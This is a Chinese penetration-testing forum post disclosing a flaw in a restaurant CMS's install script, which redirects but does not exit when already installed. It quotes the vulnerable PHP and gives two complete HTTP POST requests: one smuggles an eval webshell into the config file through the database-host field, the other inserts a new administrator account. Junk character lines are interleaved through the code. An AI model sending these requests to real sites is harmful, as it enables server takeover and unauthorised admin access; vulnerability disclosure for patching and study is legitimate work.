中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
8 C: }& P. Q: @ I: N' I2 }$ V+ ~: w
# n7 x( W1 d* R: n" s; m( t
<?php
, X P- P" I3 F$ y$ l4 |
if(file_exists("../install.lock"))
O$ U# Q& G- K! y% q8 U
{
4 m* J A5 i0 [6 i/ t) ^) l+ C
header("Location: ../");//没有退出
' ~# y/ v/ e$ E3 R/ {7 s
}
2 h# s) O7 \" h" o8 B/ F& j4 t, |& i
: C$ \5 D/ L' {& n& \
//echo 'tst';exit;
- `1 X0 o U M m$ k
require_once("init.php");
% z" z* \. Z1 R2 U/ c
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
5 D" q0 P5 N" v$ R0 Z
{
! s8 u4 t! S9 _5 Y6 i* L9 W: N
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
/ n$ P8 X H& c( b# ^. a$ t
: g. x: X! ~0 k
1、getshell(很危险)
6 O6 U3 L3 P& ]* l% Y& ?
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
9 R# Z/ p5 h3 ~& M
{
4 F( ^1 N2 p9 v" Y9 S3 S7 I; G
$smarty->assign("step",1);
+ } `5 M& U% b
$smarty->display("index.html");
7 N& g- a: N" j) {9 f
}elseif($_REQUEST['step']==2)
4 `0 L) `! B8 \& Q7 Y7 q, L
{
7 o& g9 e- ~' A$ H; _0 r/ D( ^9 J9 {
$mysql_host=trim($_POST['mysql_host']);
( J- v3 [! o( T8 p
$mysql_user=trim($_POST['mysql_user']);
& h9 x$ z* ]0 ?* m, F% Q- i
$mysql_pwd=trim($_POST['mysql_pwd']);
) ~: U/ ^; }, ^9 [+ n
$mysql_db=trim($_POST['mysql_db']);
7 H9 _ v4 u+ V6 ?% H# l
$tblpre=trim($_POST['tblpre']);
. K5 F( h* h. B7 j" B+ W
$domain==trim($_POST['domain']);
9 w" c) Y3 f( {: M/ x8 N/ h7 v
$str="<?php \r\n";
- H! \# l9 E- A# `$ G. M
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
/ ^0 I' V! W5 b# c. r
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
. x& g9 z9 f" }* q- m8 i
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
! s- {* G, @* I9 n' S6 h1 U5 i
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
$ C: m; ^% _2 L- E
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
! [% m2 V" l1 @/ Z' C: q \) w
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
7 x. G# o# W" U4 ~
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
: K0 J% l. w4 c/ _. n* q* @5 D
$str.='define("SKINS","default");'."\r\n";
; e+ {. F/ M" j% d. E( h
$str.='?>';
" p6 S/ W$ K0 d8 D1 ]3 M0 M1 X7 @5 W
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
* I h- A4 a* K' C6 c' F
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
7 @5 s6 ^& y9 V3 l# J! K+ M" h
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
W0 }7 y' B! ^! _9 f# o* T. E6 \% m$ c
Host: 192.168.80.129
! S$ ~9 _2 D: d/ G' [8 _
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
( ~1 o ?2 M' [1 p& w5 q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ Y0 r# d0 G1 o
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
5 F' y* p, J! D% o I) a
Accept-Encoding: gzip, deflate
. W3 f( a+ M8 r$ d, h6 Q( q
Referer:
http://192.168.80.129/canting/install/index.php?step=1
9 r# \& E6 d% @3 m$ Z/ t% Q/ m
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( L6 E6 E- \9 _! e
Content-Type: application/x-www-form-urlencoded
# E, u3 R2 H- m' ^$ G* w# B6 V, ^
Content-Length: 126
. P4 T+ {5 { [' J
& A: T- P2 O- ]( Y z2 Q
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
7 V* d$ ~, A; E
但是这个方法很危险,将导致网站无法运行。
5 c* t! P9 E; E4 T5 M# o: Y
/ m: i- y. L3 e3 U
2、直接添加管理员
4 p% G/ [8 H; E" m' q1 O
' D1 U; g0 e/ ?: }! T! v ?
elseif($_REQUEST['step']==5)
9 V$ M) I" Q- D( T# U7 z
{
1 m& f) M/ z6 ]& ^0 E1 E; \) Y8 g
if($_POST)
( G% c" J |5 z. i/ D# p" l
{ require_once("../config/config.inc.php");
! z3 Q* E; r& E% Y, U+ q
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
4 k4 a8 c. {) U& [7 z' l
mysql_select_db(MYSQL_DB,$link);
+ U4 x- m/ }* X G/ }% ^+ J! w
mysql_query("SET NAMES ".MYSQL_CHARSET );
7 f+ L( I" G1 X* m0 x9 [, R0 { q
mysql_query("SET sql_mode=''");
$ W3 a4 I& [/ \; H; p' `0 D2 g
% e6 R& T* G2 G5 J" J
$adminname=trim($_POST['adminname']);
% m$ j: g( c& W4 s" n
$pwd1=trim($_POST['pwd1']);
# o3 @+ }/ G/ f4 T4 z6 z: U& C
$pwd2=trim($_POST['pwd2']);
/ B/ M3 N. X* m, B: P& {& t
if(empty($adminname))
' K6 F3 ]6 U& K
{
# X3 o2 n- U3 F8 A' _
0 D+ B( p, {' A
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
+ Q: |/ J! }) z% z9 f
exit();
) l7 R$ }1 o, c. h: {
}
$ e) ] x& c+ M; C
if(($pwd1!=$pwd2) or empty($pwd1))
' V! K) c9 o5 o# j( C' f
{
! [3 _% E) X8 S* u
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
. f2 X6 v# U: L3 o7 ~4 m' o' Y
}
1 J5 a8 H6 k; z- \0 N) ^
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
2 W X9 H. q% M; F2 [, r
}
4 \4 Z0 T% B: E% E
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
4 G, s# v+ {- d) J, ~, s
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
' n! d# z6 _/ f- ~2 V* A
Host: 192.168.80.129
6 w# V5 v0 K: E; V0 p: e8 U
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
9 {& o/ y& U. B! D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ E+ W) n0 W+ v
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
& b% W6 K9 @- \6 ?+ y* W
Accept-Encoding: gzip, deflate
# C0 q b9 r5 |9 d( A9 f. q) I
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
# _0 \/ O* `/ L H+ w- E# t, A
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ [5 ~% r5 h7 I' r! s% l' T
Content-Type: application/x-www-form-urlencoded
3 B- I2 ]7 Y5 @9 C
Content-Length: 46
) ?! ]9 D# |1 D
; R7 d& h7 o; }7 ~( J9 L) F
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
1 D& B* T2 U( m( s) x4 \
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2